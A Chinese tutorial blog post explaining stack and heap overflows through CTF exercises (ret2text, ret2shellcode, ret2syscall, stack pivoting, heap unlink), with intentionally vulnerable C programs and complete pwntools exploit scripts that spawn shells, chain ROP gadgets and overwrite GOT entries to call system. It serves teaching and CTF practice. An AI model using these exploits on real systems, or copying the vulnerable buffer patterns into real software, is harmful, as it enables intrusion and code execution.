当前位置: 首页 > news >正文

一篇文章理解堆栈溢出

一篇文章理解堆栈溢出

  • 引言
  • 栈溢出
    • ret2text
      • 答案
    • ret2shellcode
      • 答案
    • ret2syscall
      • 答案
    • 栈迁移
      • 答案
  • 堆溢出 unlink - UAF
    • 堆结构
      • 小提示
    • 向前合并/向后合并
    • 堆溢出题
      • 答案

引言

让新手快速理解堆栈溢出,尽可能写的简单一些。

栈溢出

代码执行到进入函数之前都会记录返回地址SP中,保证代码在进入函数执行完成后能返回继续执行下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP中的返回地址,改变代码执行流程。
刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。


此时栈中内容应该是这样

在进入需要call的函数后,如果我们从栈的低地址一直覆盖内容到高地址,就可以覆盖掉这个返回地址

ret2text

简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码

#include <stdlib.h>
#include <stdio.h>
void shell(){//故意存在的后门system("/bin/sh");
}
void test(int a){//随便写的printf("exit!!!!!%d\n" , a);
}
void print_name(char* input) {//漏洞函数char buf[15];memcpy(buf,input,0x100);printf("Hello %s\n", buf);
}
int main(int argc, char** argv){char buf[0x100];puts("input your name plz");read(0,buf,0x100);print_name(buf);return 0;
}// gcc -m32 -no-pie -g test.c -o test

编译后再ida中长这样

答案

from pwn import *elf = ELF("./test")
# 这里是我调试器用的可以不写
context.terminal = ['qterminal','-e','sh','-c']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')# p = remote("LOCALHOST",28525)
p = elf.process()print(p.recvline())
# print(elf.sym)# 附加调试器
#gdb.attach(p, 'b print_name')# 解题方式1:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为0x8049196(shell)
# p.sendline(b'a'*(0x17+0x4)+p32(0x8049196))print(hex(elf.sym['system']))
# 解题方式2:
# 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存的ebp
# 覆盖esp中的返回地址为system
# 在call之前会将eip下一条地址压入esp,所以我们是在覆盖这个,0x80491c1(test的地址),我们exit之后会不会进入到test
# 覆盖参数 "/bin/sh"(0x804a008)
p.sendline(b'a'*(0x17+0x4)+p32(elf.sym['system'])+p32(0x80491c1)+p32(0x804a008) + p32(0xde)) # 0xde(222)是exit参数
p.interactive()

解题方式二是为了理解栈溢出原理,所以我在其中套了多个函数地址和参数。

ret2shellcode

再来看一道经典题目,mmap内存映射的栈溢出

#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
int main(int argc, char** argv){char buff;char * mapBuf;mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);printf("map address:%x\n",mapBuf);read(0,mapBuf,0x100);puts("enter something");read(0,&buff,0x100);puts("good bye");return 0;
}

权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS 表示不映射一个具体的fd,而是系统内部创建的匿名文件,且不会被回写到文件。
其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈,但是我们可以通过溢出buff让栈返回地址指向它,而它内存中实际的内容就是我们的shellcode.

答案

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()#gdb.attach(p, 'b 13')
shellcode = asm(shellcraft.sh())
print(shellcode)
print(p.recvline())
p.sendline(shellcode)print(p.recvline())
# 随便覆盖一个rbp
p.sendline(b'a'*(0x9+0x8)+p64(0x233000))
p.interactive()

我们首先将shellcode写入了mapBuf指向的内存地址(0x233000),然后覆盖掉了返回地址,将它改为0x233000,在退出这个函数时就会执行我们在0x233000中写入的shellcode了。

ret2syscall

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4;setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}

这段代码非常简单,但是题中给的文件开启了NX 保护,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system

我们这次用到了ROPgadget工具,让他在程序中找一些指定的汇编指令。
还有cyclic可以帮忙测试栈溢出的大小

答案

思路是利用int 0x80中断进入系统调用execve
execve("/bin/sh",NULL,NULL)
eaxexecve系统调用号0xb,第一个参数ebx指向/bin/shecx和edx为0
而我们需要找到能修改寄存器的汇编代码,那么pop就是最好的选择。
push 是将参数压入sp,那么pop就是将sp的内容弹出指定寄存器

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./rop")
p = elf.process()
'''
ROPgadget --binary rop --only 'int'     
0x08049421 : int 0x80ROPgadget --binary rop --only 'pop|ret'|grep eax
0x080bb196 : pop eax ; retROPgadget --binary rop --only 'pop|ret'|grep ebx  这里还可以控制ecx所以直接再找edx的
0x0806eb91 : pop ecx ; pop ebx ; retROPgadget --binary rop --only 'pop|ret'|grep edx
0x0806eb6a : pop edx ; retROPgadget --binary rop --string '/bin/bash'
0x080be408 : /bin/sh
'''
int_0x80 = 0x08049421
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
sh = 0x080be408
# 112 cyclic测试得出
payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)
p.sendline(payload)
p.interactive()

栈迁移

int vul()
{char s[40]; // [esp+0h] [ebp-28h] BYREFmemset(s, 0, 0x20u);read(0, s, 48u);printf("Hello, %s\n", s);read(0, s, 0x30u);return printf("Hello, %s\n", s);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{init();puts("Welcome, my friend. What's your name?");vul();return 0;
}

程序中可以发现在vul函数的read的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system后再加入参数,注意程序同样开启了NX保护,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:
PLT、GOT ELF重定位流程新手入门

原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我们就有足够的地方写shellcode了

答案

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.terminal = ['qterminal','-e','sh','-c']
elf = ELF("./test")
p = elf.process()
# 漏洞代码
#char s[40]; // [esp+0h] [ebp-28h] BYREF
#read(0, s, 0x30u); #0x30-0x28 = 0x8 不够我们写system后的参数,栈大小不够,我们需要将ESP移到BSS段,刚好我们的s本身就在bss段
#printf("Hello, %s\n", s);
#read(0, s, 0x30u);
print(p.recvline())payload = b'a' * (0x27) # 因为使用sendline多了一个\n 所以这里写0x27
p.sendline(payload) # 因为我们填满了0x28 并且没有\0所以此时输出必定会将ebp输出出来
p.recvuntil("a\n")  
ori_ebp = u32(p.recv(4)) # 接收本来正常的ebp
print(hex(ori_ebp))# s地址 偏移计算
# 原ebp 可以在push ebp 看一下ebp地址 是0xffffd4c8
# 然后在leave之前 看一下stack
# esp 0xffffd490 ◂— 'aaaaaa\n\n'
# 通过计算得到偏移是 0xffffd490 - 是0xffffd4c8 = -0x38# 另外一种办法是,在push ebp 看一下ebp地址 是0xffffd4c8
# 在leave前看一下 ebp = 0xffffd4b8
# 是0xffffd4b8 - 0xffffd4c8 = -0x10,又由于我们在IDA中知道#char s[40]; // [esp+0h] [ebp-28h] BYREF
# -0x10 - 0x28 = - 0x38
bss_addr = ori_ebp - 0x38# system addr 两种办法
# 一种通过.got.plt 
# 0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
# x 0x804a018 
# <system@got.plt>:     0x08048406
# 由于我们知道 此时system没有被执行过,这里保存的地址肯定是plt + 6# 第二种 直接读取.plt
# .plt              PROGBITS        080483c0
# x/32x 0x080483c0
# 0x8048400 <system@plt>: 0xa01825ff      0x18680804      0xe9000000      0xffffffb0# 第三种 直接用pwntools
system_addr = elf.plt['system']leave_ret = 0x080484b8 # ROPgadget --binary test --only 'leave|ret'# 迁移到BSS段,正好我们的s就是
# 先覆盖4字节,因为最后leave 相当于mov esp,ebp; pop ebp;使esp + 4,所以这里要先跳过0x4 随便填充4个字节
payload2 = b'A' * 0x4
# ret 要跳转到的eip
payload2 += p32(system_addr) 
# system后的返回地址 随便写吧
payload2 += b'A' * 0x4
# 参数字符串地址,这个字符串是下面写的 所以要计算要跳过的大小
payload2 += p32(bss_addr + 0x4 + 0x4 + 0x4 + 0x4)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'A') # 填充满0x28个,不够用A补
# 将原来正常的ebp 改为 s 的地址 让其执行leave的时候把这个地址给esp
payload2 += p32(bss_addr)
# 填入leave;ret,ret的时候因为esp被我们修改的ebp覆盖了,所以回到了ebp + 0x4(也就是s+0x4等价于payload2 + 0x4)
payload2 += p32(leave_ret)p.sendline(payload2)
p.interactive()

堆溢出 unlink - UAF

堆溢出原理在堆释放时,修改双向链表的过程,有空子可以钻,让其指针赋值时将我们需要的地址赋值过去,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。

堆结构

在这里插入图片描述
size记录的是整个chunk大小,而不是malloc时的大小。

小提示

因为malloc是按8字节对齐,所以实际上size的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE的标记位。

向前合并/向后合并

向前合并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。

向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。

if (!prev_inuse(p)) {prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);
}   
#define unlink(P, BK, FD) {                      \FD = P->fd;                   \BK = P->bk;                   \FD->bk = BK;                  \BK->fd = FD;                  \...
}

我们需要关注的点在于unlink,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK->fd。

堆溢出题

这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的


可以看见create_item申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用的。

我们将变量和函数地址都先记录下来

edit_item = 0x4009e8free_item = 0x400b07puts_if_exists = 0x400ba9create_item = 0x400936bss_s = 0x602140


我们还知道了GLIBC的版本是2.2.5,但是我本机没有,可以用工具替换。

使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-one没找到glibc-all-in-one可以在github下载到。

patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

答案

我们要做的其实就是修改掉s数组中存放的内容。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['qterminal','-e','sh','-c']
stkof = ELF("./stkof") # 题的原文件网上可以搜到
p = stkof.process()
libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')#edit_item = 0x4009e8
#free_item = 0x400b07
#puts_if_exists = 0x400ba9 # 没啥用
#create_item = 0x400936
bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] = v2; 1号块就是1下标def alloc(size):p.sendline(b'1')p.sendline(str(size))p.recvuntil(b'OK\n')def edit(idx, size, content):p.sendline(b'2')p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(b'OK\n')def free(idx):p.sendline(b'3')p.sendline(str(idx))def puts_if_exists():p.sendline(b'4')print(p.recvline())def exp():# gdb.attach(p, 'b *0x4009e8')# editalloc(0x100)  # idx 1alloc(0x20)  # idx 2 # 32大小alloc(0x80)  # idx 3#在2中伪造chunk并且溢出修改3的chunk头#FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个payload = p64(0)  #prev_sizepayload += p64(0x20)  #size# 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8) == (bss_s + 0x10),绕过checkpayload += p64(bss_s + 0x10 - 3*0x8)  #fd     #此时fd->bk =  (bss_s + 0x10 - 3*0x8)+(3*0x8)payload += p64(bss_s + 0x10 - 2*0x8)  #bk     #此时bk->fd =  (bss_s + 0x10 - 2*0x8)+(2*0x8)# 溢出部分payload += p64(0x20) # 下一个区块的 prev_sizepayload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内存对齐后的结果)# 修改2号块,等会溢出3号块edit(2, len(payload), payload)# 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)# FD = P->fd; #下一块# BK = P->bk; #上一块# FD->bk = BK;# BK->fd = FD; # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的# p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)# p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)# FD->bk = BK;  # 赋值相当于 (bss_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8# BK->fd = FD;  # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0x8) = bss_s + 0x10 - 3*0x8# 最后修改其实就是# bss_s + 0x10 = bss_s + 0x10 - 3*0x8# bss_s + 0x10 = bss_s - 0x8# bss_s + 0x10 就是 bss_s[2]# 让 bss_s 存着的2号块地址变成 = bss_s - 0x8free(3)p.recvuntil('OK\n')#覆盖bss_s存着的2号块地址(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got#此时存着的堆地址其实全部被我们改掉了,后面干的事和堆一点关系都没有了payload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload) #这里payload数据是写入了 bss_s 段# 由于此时 bss_s[0] = free@got.plt# 本来free@got.plt中存的是0x7f7e67a84540 <__GI___libc_free>:      0x8348535554415541# 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt# 等于将__GI___libc_free改为了puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload) #此时free已经被替换#free((&::s)[1]); = puts@plt((&::s)[1]);#此时相当于puts@plt(&bss_s[1]);#          puts@plt(puts@got);#我们就可以先拿到puts@got地址,用来计算glibc基址free(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# 由于此时 bss_s[2] = atoi@got.plt# 修改2号块代码是(&bss_s)[2] = systempayload = p64(system_addr)edit(2, len(payload), payload)# 随便发一个触发main里的atoi,参数就是binsh_addrp.send(p64(binsh_addr))p.interactive()if __name__ == "__main__":exp()

相关文章:

一篇文章理解堆栈溢出

一篇文章理解堆栈溢出引言栈溢出ret2text答案ret2shellcode答案ret2syscall答案栈迁移答案堆溢出 unlink - UAF堆结构小提示向前合并/向后合并堆溢出题答案引言 让新手快速理解堆栈溢出&#xff0c;尽可能写的简单一些。 栈溢出 代码执行到进入函数之前都会记录返回地址到SP…...

优化模型验证关键代码27:多旅行商问题的变体-多起点单目的地问题和多汉密尔顿路径问题

目录 1 多起点单目的地问题(Multiple departures single destination mTSP) 1.1 符号列表 1.2 数学模型 1.4 解的可视化结果...

快速搭建第一个SpringCloud程序

目录 1、Spring Boot项目脚手架快速搭建 1.1 生成工程基本配置 1.2 生成工程。 1.3 导入开发工具&#xff08;此处为Idea&#xff09; 1.4 运行代码 1.5 验证是否能访问 2、Spring Cloud环境搭建 2.1 版本匹配问题 2.2 Spring Cloud环境测试 3、引入Eureka Server 3…...

【离散数学】图论

1、有n个点没有边 零图 2、有1个点没有边 平凡图 3、含有平行边的图 多重图 4、简单图 不含有平行边和自回环的图 5、任意两个结点之间都有边 完全图 6、环贡献 两度 7、所有顶点的度数之和等于边数的两倍 8、在有向图中所有顶点的出度之和 或者 入度之和 等于边数 9、度数为…...

代码随想录算法训练营第三十七天-贪心算法6| 738.单调递增的数字 968.监控二叉树 总结

738.单调递增的数字 贪心算法 题目要求小于等于N的最大单调递增的整数&#xff0c;那么拿一个两位的数字来举例。 例如&#xff1a;98&#xff0c;一旦出现strNum[i - 1] > strNum[i]的情况&#xff08;非单调递增&#xff09;&#xff0c;首先想让strNum[i - 1]--&#…...

【Linux】线程中的互斥锁、条件变量、信号量(数据安全问题、生产消费模型、阻塞队列和环形队列的实现)

文章目录1、线程互斥1.1 线程间频繁切换导致的问题1.2 使用互斥锁1.3 互斥锁的原理1.4 线程中的数据安全问题2、线程同步之条件变量2.1 生产消费模型2.2 条件变量概念和调用函数2.3 阻塞队列的实现3、线程同步之信号量3.1 理解信号量3.2 信号量接口3.3 环形队列的实现4、小结1、…...

MySQL8.0的安装和配置

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点!人生格言&#xff1a;当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔&#x1f9be;&am…...

LinuxGUI自动化测试框架搭建(三)-虚拟机安装(Hyper-V或者VMWare)

&#xff08;三&#xff09;-虚拟机安装&#xff08;Hyper-V或者VMWare&#xff09;1 Hyper-V安装1.1 方法一&#xff1a;直接启用1.2 方法二&#xff1a;下载安装1.3 打开Hyper-V2 VMWare安装注意&#xff1a;Hyper-V或者VMWare只安装一个&#xff0c;只安装一个&#xff0c;只…...

改进YOLO系列:数据增强扩充(有增强图像和标注),包含copypaste、翻转、cutout等八种增强方式

这里写目录标题 一、简介二、数据增强方法介绍复制-粘贴(Copy-paste)翻转(Flip)Cutout加噪声(Noise)亮度调整(Brightness)平移(Shift)旋转(Rotation)裁剪(Crop)copy-paste的代码一、简介 数据增强是一种通过对原始数据进行随机变换、扰动等操作来生成新的训练样…...

c++11 标准模板(STL)(std::stack)(一)

定义于头文件 <stack> template< class T, class Container std::deque<T> > class stack;std::stack 类是容器适配器&#xff0c;它给予程序员栈的功能——特别是 FILO &#xff08;先进后出&#xff09;数据结构。 该类模板表现为底层容器的包装…...

C++-c语言词法分析器

一、运行截图 对于 Test.c 的词法分析结果 对于词法分析器本身的源代码的分析结果 二、主要功能 经过不断的修正和测试代码&#xff0c;分析测试结果&#xff0c;该词法分析器主要实现了以下功能&#xff1a; 1. 识别关键字 实验要求&#xff1a;if else while do for main…...

Maven工具复习

Maven从入门到放弃Maven概述Maven 的配置Maven的基本使用IDEA 配置MAVENMaven坐标IDEA 创建MavenIDEA 导入Maven关于右侧Maven小标签(也就是Maven面板)找不到问题的解决办法关于不小心把IDEA主菜单搞消失的解决办法依赖管理Maven概述 Maven是一个工具提供了一套标准的项目结构…...

算法总结-深度优先遍历和广度优先遍历

深度优先遍历(Depth First Search&#xff0c;简称DFS) 与广度优先遍历(Breath First Search&#xff0c;简称BFS)是图论中两种非常重要的算法&#xff0c;生产上广泛用于拓扑排序&#xff0c;寻路(走迷宫)&#xff0c;搜索引擎&#xff0c;爬虫等。 一、深度优先遍历 深度优先…...

【Linux】Centos安装mvn命令(maven)

&#x1f341;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; 文章目录一、下载maven包方法一&#xff1a;官…...

驱动保护 -- 通过PID保护指定进程

一、设计界面 1、添加一个编辑框输入要保护的进程PID&#xff0c;并添加两个按钮&#xff0c;一个保护进程&#xff0c;一个解除保护 2、右击编辑框&#xff0c;添加变量 二、驱动层代码实现 1、声明一个受保护的进程PID数组 static UINT32 受保护的进程PID[256] { 0 }; 2…...

spring常用注解(全)

一、前言 Spring的一个核心功能是IOC&#xff0c;就是将Bean初始化加载到容器中&#xff0c;Bean是如何加载到容器的&#xff0c;可以使用Spring注解方式或者Spring XML配置方式。 Spring注解方式减少了配置文件内容&#xff0c;更加便于管理&#xff0c;并且使用注解可以大大…...

Axios请求(对于ajax的二次封装)——Axios请求的响应结构、默认配置

Axios请求&#xff08;对于ajax的二次封装&#xff09;——Axios请求的响应结构、默认配置知识回调&#xff08;不懂就看这儿&#xff01;&#xff09;场景复现核心干货axios请求的响应结构响应格式详解实际请求中的响应格式axios请求的默认配置全局axios默认值&#xff08;了解…...

(三)【软件设计师】计算机系统—CPU习题联系

文章目录一、2014年上半年第1题二、2014年下半年第3题三、2017年上半年第1题四、2009年下半年第1题五、2010年上半年第5题六、2011年下半年第5题七、2011年下半年第6题八、2012年下半年第1题九、2019年上半年第1题十、2010年上半年第1题十一、2011年上半年第1题十二、2016年下半…...

win下配置pytorch3d

一、配置好的环境&#xff1a;py 3.9 pytorch 1.8.0 cuda 11.1_cudnn 8_0 pytorch3d 0.6.0 CUB 1.11.0 你可能觉得pytorch3d 0.6.0版本有点低&#xff0c;但是折腾不如先配上用了&#xff0c;以后有需要再说。 &#xff08;后话&#xff1a;py 3.9 pytorch 1.12.1 cuda …...

JS字符串对象

、 JS字符串对象 1.1 内置对象简介 在 JavaScript 中&#xff0c;对象是非常重要的知识点。对象可以分为两种:一种是“自定义对象”外一种是“内置对象”。自定义对象&#xff0c;指的是需要我们自己定义的对象&#xff0c;和“自定义函数”是一些道理;内置对象&#xff0c;…...

Linux系统对文件及目录的权限管理(chmod、chown)

1、身份介绍 在linux系统中&#xff0c;对文件或目录来说访问者的身份有三种&#xff1a; ①、属主用户&#xff0c;拥有者&#xff08;owner&#xff09;文件的创建者 ②、属组用户&#xff0c;和文件的owner同组的用户&#xff08;group&#xff09;&#xff1b; ③、其他用…...

半透明反向代理 (基于策略路由)

定义 半透明反向代理一般是指 代理本身对于客户端透明&#xff0c;对于服务端可见。 从客户端视角看&#xff0c;客户端访问的还是服务端&#xff0c;客户端不知道代理的存在。 从服务端视角看&#xff0c;服务端只能看到代理&#xff0c;看不到真实的客户端。 示意图 客户端…...

课前测5-超级密码

目录 课前测5-超级密码 程序设计 程序分析 课前测5-超级密码 【问题描述】 上次设计的“高级密码”被你们破解了,一丁小朋友很不服气! 现在,他又设计了一套更加复杂的密码,称之为“超级密码”。 说实话,这套所谓的“超级密码”其实也并不难: 对于一个给定的字符…...

QML控件--Menu

文章目录一、控件基本信息二、控件使用三、属性成员四、成员函数一、控件基本信息 二、控件使用 import QtQuick 2.10 import QtQuick.Window 2.10 import QtQuick.Controls 2.3ApplicationWindow{visible: true;width: 1280;height: 720;Button {id: fileButtontext: "Fi…...

002:Mapbox GL更改大气、空间及星星状态

第002个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+mapbox中更改大气、空间及星星状态 。 直接复制下面的 vue+mapbox源代码,操作2分钟即可运行实现效果 文章目录 示例效果配置方式示例源代码(共71行)相关API参考:专栏目标示例效果 配置方式 1)查看基础设置:…...

2022年第十三届蓝桥杯题解(全)C/C++

A题就是一个简单的进制转化&#xff0c;代码实现如下&#xff1a; #include <bits/stdc.h>using namespace std;const int N 1e5 10;int main() {int x 2022;int a 1;int res 0;while(x) {res (x % 10) * a;a a * 9;x / 10;}cout << res;return 0; } B题有…...

【cmake学习】find_package 详解

find_package 主要用于查找指定的 package&#xff0c;主要支持两种搜索方法&#xff1a; Config mode&#xff1a;查找 xxx-config.cmake或 xxxConfig.cmake的文件&#xff0c;如OpenCV库的OpenCVConfig.cmakeModule mode&#xff1a;查找Findxxx.cmake文件&#xff0c;如Ope…...

WEB攻防-通用漏洞PHP反序列化POP链构造魔术方法原生类

目录 一、序列化和反序列化 二、为什么会出现反序列化漏洞 三、序列化和反序列化演示 <演示一> <演示二> <演示二> 四、漏洞出现演示 <演示一> <演示二> 四、ctfshow靶场真题实操 <真题一> <真题二> <真题三> &l…...

Baumer工业相机堡盟工业相机如何通过BGAPISDK里的图像处理库进行图像转换(C++)

Baumer工业相机堡盟工业相机如何通过BGAPI SDK进行图像转换&#xff08;C&#xff09;Baumer工业相机Baumer工业相机的SDK里图像格式转换的技术背景Baumer工业相机通过BGAPI SDK进行图像转换调用BGAPI SDK的图像转换库ImageProcessor调用BGAPI SDK建立图像调用BGAPI SDK转换图像…...

JD开放平台接口(获得JD商品详情, 按关键字搜索商品,按图搜索京东商品(拍立淘), 获得店铺的所有商品,获取推荐商品列表, 获取购买到的商品订单列表)

参数说明 通用参数说明 url说明 https://api-gw.onebound.cn/平台/API类型/ 平台&#xff1a;淘宝&#xff0c;京东等&#xff0c; API类型:[item_search,item_get,item_search_shop等]version:API版本key:调用key,测试key:test_api_keysecret:调用secret,测试secret:(不用填写…...